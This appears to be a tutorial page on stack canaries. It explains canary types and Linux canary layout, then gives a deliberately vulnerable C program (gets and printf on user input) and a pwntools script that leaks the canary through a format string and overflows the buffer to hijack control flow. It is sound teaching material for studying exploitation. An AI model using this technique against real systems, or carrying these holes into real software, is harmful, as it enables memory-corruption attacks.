Stack Canaries

A stack canary is a value which the compiler may insert right before the stored base pointer on the stack. When a function is about to return to its caller, the canary is checked for modifications and if it is found to have been changed during the programme's execution, the executable deliberately aborts.

There are 3 main types of canaries:

  • Random: a random value generated when the programme is run and remains unchanged throughout its execution
  • Terminator: a special value which is made up of bytes representing well-known bad characters (such as 0x00, 0xaf and ) that aim to prevent canary bypasses by terminating input functions
  • XOR: a random value XOR-ed with the current saved base pointer which makes the canary unique for every function

In Linux, the canary is generated each time execve() is called and is stored at an offset of 0x28 from the FS register. Additionally, the last byte of Linux canaries is always 0x00, so they are actually a mixture of a terminator and a random canary. Unfortunately, this distinction also makes them quite easy to spot.

Bypassing Canaries

There are two main ways of bypassing canaries.

Leaking the Canary

The first way is to leak the canary, for example by exploiting a format string vulnerability.

#include <stdio.h>
#include <string.h>

void deleteDB() {
    puts("Database deleted.");
}

int main() {
    char buffer[64];

    puts("Enter name: ");
    gets(buffer);
    printf(buffer);

    puts("\nEnter age: ");
    gets(buffer);
    puts("Database updated.");
}

When we execute the programme, we can abuse the format string vulnerability in printf(buffer); to leak data from the stack like so:

The highlighted string looks awfully like a canary. We count that this is the 35th value on the stack and so we can check it a few more times just to be sure.

Indeed, it appears to be a random value but always ends in 0x00. Now that we can leak the canary, we can include it in our buffer overflow at the approriate position and when we would have essentially left the canary unchanged since we would overwrite it with its original value. Now we are ready to prepare our exploit:

#!/usr/bin/python3

from pwn import *

p = process('./canary')

p.recvline() # receive the 'Enter name: ' line
p.sendline("%35$p") # exploit the format string

canary = int(p.recvline(), 16)

exploit = b'A' * 0x48 # overflow the buffer
exploit += p64(canary) # add the canary
exploit += b'A' * 0x8 # padding to the return address (overwriting the saved base pointer)
exploit += p64(0x401156) # address of deleteDB

p.recvline() # receive the 'Enter age: ' line
p.sendline(exploit)

print(p.clean().decode('latin-1'))

Bruteforcing the Canary

This technique abuses the fact that processes which are fork-ed from the same process will all share the same canary. This attack, however, is only really feasible on 32-bit machines, since the canary there is 32 bits long.